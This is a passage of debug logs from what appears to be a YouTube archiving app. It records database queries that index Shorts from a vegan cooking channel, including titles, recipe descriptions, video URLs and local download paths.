?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test Simulate's plant based Nuggs to find out if plant based chicken nuggets taste as good as the real thing. Check out the full appetizer showdown video live on the channel now: https://youtu.be/NyAnAMvdk0M", "How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts", "769ffb07-ba63-4cba-9f61-dc5a334e6800", 1, [], 28, false, "5pO_V0odhQ0", "https://www.youtube.com/shorts/5pO_V0odhQ0", 224, "/downloads/downloads/alec/Steamy Vegan/2022-10-13 How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts/How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts [5pO_V0odhQ0].NA", false, false, true, 3, ~U[2022-10-13 18:00:07Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We taste test Simulate's plant based Nuggs to find out if plant based chicken nuggets taste as good as the real thing. Check out the full appetizer showdown video live on the channel now: https://youtu.be/NyAnAMvdk0M", "How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts", 1, 28, false, "5pO_V0odhQ0", "https://www.youtube.com/shorts/5pO_V0odhQ0", "/downloads/downloads/alec/Steamy Vegan/2022-10-13 How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts/How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts [5pO_V0odhQ0].NA", true, ~U[2022-10-13 18:00:07Z]] 20:31:10.055 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.057 [debug] QUERY OK source="media_items" db=1.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 16:15:02Z], 1] 20:31:10.057 [debug] QUERY OK source="media_items" db=0.5ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I really like corn and vegan gluten free burritos which you'll find out about in our new plant based appetizer showdown. Check out the full plant based and gluten free appetizer showdown by clicking the link here: https://youtu.be/NyAnAMvdk0M", "I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts", "33db3bbb-957d-4fd1-8c41-e38ca50d7949", 1, [], 12, false, "kW64PtsWbTc", "https://www.youtube.com/shorts/kW64PtsWbTc", 225, "/downloads/downloads/alec/Steamy Vegan/2022-10-13 I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts/I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts [kW64PtsWbTc].NA", false, false, true, 3, ~U[2022-10-13 16:15:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I really like corn and vegan gluten free burritos which you'll find out about in our new plant based appetizer showdown. Check out the full plant based and gluten free appetizer showdown by clicking the link here: https://youtu.be/NyAnAMvdk0M", "I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts", 1, 12, false, "kW64PtsWbTc", "https://www.youtube.com/shorts/kW64PtsWbTc", "/downloads/downloads/alec/Steamy Vegan/2022-10-13 I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts/I really like corn and vegan gf burritos 🤤 ❤️🌽#shorts #youtubeshorts [kW64PtsWbTc].NA", true, ~U[2022-10-13 16:15:02Z]] 20:31:10.058 [debug] QUERY OK source="sources" db=0.5ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.060 [debug] QUERY OK source="media_items" db=1.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-09 15:00:32Z], 1] 20:31:10.061 [debug] QUERY OK source="media_items" db=0.6ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Live on the channel is our plant based appetizer showdown episode. We taste tested 8 different plant based appetizers and had a ton of fun with this review video.\n\nSubscribe and check out the full video! Thanks for your support!", "Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts", "5713a470-f740-40a3-b50e-260f3c07bdd1", 1, [], 30, false, "d9Ciet8tI-Q", "https://www.youtube.com/shorts/d9Ciet8tI-Q", 226, "/downloads/downloads/alec/Steamy Vegan/2022-10-09 Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts/Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts [d9Ciet8tI-Q].NA", false, false, true, 1, ~U[2022-10-09 15:00:32Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Live on the channel is our plant based appetizer showdown episode. We taste tested 8 different plant based appetizers and had a ton of fun with this review video.\n\nSubscribe and check out the full video! Thanks for your support!", "Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts", 1, 30, false, "d9Ciet8tI-Q", "https://www.youtube.com/shorts/d9Ciet8tI-Q", "/downloads/downloads/alec/Steamy Vegan/2022-10-09 Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts/Game Day Motivational Appetizer Speech - Plant Based Appys #shorts #youtubeshorts [d9Ciet8tI-Q].NA", true, ~U[2022-10-09 15:00:32Z]] 20:31:10.062 [debug] QUERY OK source="sources" db=0.5ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.064 [debug] QUERY OK source="media_items" db=1.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-08 23:00:00Z], 1] 20:31:10.067 [debug] QUERY OK source="media_items" db=2.9ms idle=6.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls", "6621c8da-c0ab-4f5f-84da-c5a4dd87da99", 1, [], 56, false, "-agk0c9-9Ow", "https://www.youtube.com/shorts/-agk0c9-9Ow", 227, "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls/Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls [-agk0c9-9Ow].NA", false, false, true, 2, ~U[2022-10-08 23:00:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls", 1, 56, false, "-agk0c9-9Ow", "https://www.youtube.com/shorts/-agk0c9-9Ow", "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls/Plant-Based Pumpkin Spice Snack or Breakfast Idea! 🎃 Pumpkin Spice Bliss Balls [-agk0c9-9Ow].NA", true, ~U[2022-10-08 23:00:00Z]] 20:31:10.069 [debug] QUERY OK source="sources" db=1.4ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.073 [debug] QUERY OK source="media_items" db=3.4ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-08 18:57:50Z], 1] 20:31:10.073 [debug] QUERY OK source="media_items" db=0.4ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out the full plant based game day appetizer taste test and review here: https://youtu.be/NyAnAMvdk0M", "Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts", "377d4f46-4a51-4e5e-9ff0-45c6eee558b0", 1, [], 18, false, "jRRu_snHjN8", "https://www.youtube.com/shorts/jRRu_snHjN8", 228, "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts/Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts [jRRu_snHjN8].NA", false, false, true, 2, ~U[2022-10-08 18:57:50Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Check out the full plant based game day appetizer taste test and review here: https://youtu.be/NyAnAMvdk0M", "Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts", 1, 18, false, "jRRu_snHjN8", "https://www.youtube.com/shorts/jRRu_snHjN8", "/downloads/downloads/alec/Steamy Vegan/2022-10-08 Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts/Plant Based Game Day Appy Showdown 🏆#shorts #youtubeshorts [jRRu_snHjN8].NA", true, ~U[2022-10-08 18:57:50Z]] 20:31:10.075 [debug] QUERY OK source="sources" db=1.3ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.077 [debug] QUERY OK source="media_items" db=2.2ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-07 21:08:49Z], 1] 20:31:10.081 [debug] QUERY OK source="media_items" db=3.8ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👀 Did someone say… pumpkin spice HUMMUS? 🧡 \n\n‘Cause pumpkin spice ain’t just for the lattes 😉 MAKE THIS and thank me later! \n\n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth. 🎃\n\nHAPPY AUTUMN! 🍂 🍁", "Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus", "af808c43-2486-4192-a450-744b18c63eb6", 1, [], 46, false, "TYbAVJUl7Lc", "https://www.youtube.com/shorts/TYbAVJUl7Lc", 229, "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus/Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus [TYbAVJUl7Lc].NA", false, false, true, 3, ~U[2022-10-07 21:08:49Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "👀 Did someone say… pumpkin spice HUMMUS? 🧡 \n\n‘Cause pumpkin spice ain’t just for the lattes 😉 MAKE THIS and thank me later! \n\n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth. 🎃\n\nHAPPY AUTUMN! 🍂 🍁", "Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus", 1, 46, false, "TYbAVJUl7Lc", "https://www.youtube.com/shorts/TYbAVJUl7Lc", "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus/Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus [TYbAVJUl7Lc].NA", true, ~U[2022-10-07 21:08:49Z]] 20:31:10.082 [debug] QUERY OK source="sources" db=0.4ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.087 [debug] QUERY OK source="media_items" db=2.5ms idle=10.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-07 14:00:28Z], 1] 20:31:10.088 [debug] QUERY OK source="media_items" db=0.8ms idle=12.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our recent Good Morning Vegan Fam vid we tried out 3 savory pumpkin spice recipes and went over the top 5 things to do during pumpkin spice season. \n\nCheck out all the fall recipes and Brad's top 5 list in this video: https://youtu.be/T5lWnETEDKI", "Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts", "33fac3d4-341b-4db9-be7b-2e85b09d452a", 1, [], 41, false, "otV9dJ1A-fQ", "https://www.youtube.com/shorts/otV9dJ1A-fQ", 230, "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts/Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts [otV9dJ1A-fQ].NA", false, false, true, 3, ~U[2022-10-07 14:00:28Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "In our recent Good Morning Vegan Fam vid we tried out 3 savory pumpkin spice recipes and went over the top 5 things to do during pumpkin spice season. \n\nCheck out all the fall recipes and Brad's top 5 list in this video: https://youtu.be/T5lWnETEDKI", "Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts", 1, 41, false, "otV9dJ1A-fQ", "https://www.youtube.com/shorts/otV9dJ1A-fQ", "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts/Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts [otV9dJ1A-fQ].NA", true, ~U[2022-10-07 14:00:28Z]] 20:31:10.089 [debug] QUERY OK source="sources" db=1.1ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.092 [debug] QUERY OK source="media_items" db=2.8ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-06 19:00:23Z], 1] 20:31:10.094 [debug] QUERY OK source="media_items" db=0.9ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Sage & Maple Mushrooms 🌿🍁🍄 A *perfect* topping or side dish for your fall gatherings! \n\n3 ingredients and just 10 minutes, do yourself a favor and DON’T skip this one! 😉\n\n1 pound mushrooms\n2 tbsp maple syrup \n1/4 cup chopped fresh sage \nSweat out chopped mushrooms for 5 minutes, add the maple syrup and sage plus a dash of salt and continuing cooking for 5-7 minutes until the mushrooms have softened and caramelized slightly. Enjoy as a topping on your fave fall fishes or as a delish side! 😋\n\n Check out our latest video ⬇️\n\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free\nhttps://youtu.be/6nhs9x3h6hY", "Easy fall side dish / Sage & Maple Mushrooms! 🌿🍁🍄", "30256cb0-a338-4be3-86b5-2ed7cf75b131", 1, [], 24, false, "zMsq6tFRfDU", "https://www.youtube.com/shorts/zMsq6tFRfDU", 231, "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄/Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄 [zMsq6tFRfDU].NA", false, false, true, 2, ~U[2022-10-06 19:00:23Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Sage & Maple Mushrooms 🌿🍁🍄 A *perfect* topping or side dish for your fall gatherings! \n\n3 ingredients and just 10 minutes, do yourself a favor and DON’T skip this one! 😉\n\n1 pound mushrooms\n2 tbsp maple syrup \n1/4 cup chopped fresh sage \nSweat out chopped mushrooms for 5 minutes, add the maple syrup and sage plus a dash of salt and continuing cooking for 5-7 minutes until the mushrooms have softened and caramelized slightly. Enjoy as a topping on your fave fall fishes or as a delish side! 😋\n\n Check out our latest video ⬇️\n\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free\nhttps://youtu.be/6nhs9x3h6hY", "Easy fall side dish / Sage & Maple Mushrooms! 🌿🍁🍄", 1, 24, false, "zMsq6tFRfDU", "https://www.youtube.com/shorts/zMsq6tFRfDU", "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄/Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄 [zMsq6tFRfDU].NA", true, ~U[2022-10-06 19:00:23Z]] 20:31:10.094 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.098 [debug] QUERY OK source="media_items" db=3.5ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-06 15:03:46Z], 1] 20:31:10.101 [debug] QUERY OK source="media_items" db=2.2ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This autumn inspired pumpkin spiced hummus turned out so delicious. You'll absolutely love making this vegan fall recipe as you celebrate the pumpkin spiced season. \n\nRecipe Vid: https://youtu.be/6nhs9x3h6hY\n\nAlso, here is our full taste test video for this dish and a few others we whipped up: https://youtu.be/T5lWnETEDKI", "Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts", "b73db735-2158-40b4-89f2-3a77167052a6", 1, [], 27, false, "bIfVg1hKN00", "https://www.youtube.com/shorts/bIfVg1hKN00", 232, "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts/Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts [bIfVg1hKN00].NA", false, false, true, 2, ~U[2022-10-06 15:03:46Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This autumn inspired pumpkin spiced hummus turned out so delicious. You'll absolutely love making this vegan fall recipe as you celebrate the pumpkin spiced season. \n\nRecipe Vid: https://youtu.be/6nhs9x3h6hY\n\nAlso, here is our full taste test video for this dish and a few others we whipped up: https://youtu.be/T5lWnETEDKI", "Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts", 1, 27, false, "bIfVg1hKN00", "https://www.youtube.com/shorts/bIfVg1hKN00", "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts/Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts [bIfVg1hKN00].NA", true, ~U[2022-10-06 15:03:46Z]] 20:31:10.102 [debug] QUERY OK source="sources" db=0.8ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.105 [debug] QUERY OK source="media_items" db=2.6ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-03 19:00:12Z], 1] 20:31:10.107 [debug] QUERY OK source="media_items" db=1.3ms idle=10.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free burger tastes just like autumn. It's like Thanksgiving dinner in a burger and it's so delicious. Check out our full savory pumpkin spice taste test video below where we transform a pizza, a burger and hummus to be pumpkin spiced and fall inspired: https://youtu.be/T5lWnETEDKI", "The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts", "1274865a-4f57-4351-abae-20b60ad2a793", 1, [], 52, false, "dIqX0uAOwU4", "https://www.youtube.com/shorts/dIqX0uAOwU4", 233, "/downloads/downloads/alec/Steamy Vegan/2022-10-03 The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts/The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts [dIqX0uAOwU4].NA", false, false, true, 2, ~U[2022-10-03 19:00:12Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This vegan and gluten free burger tastes just like 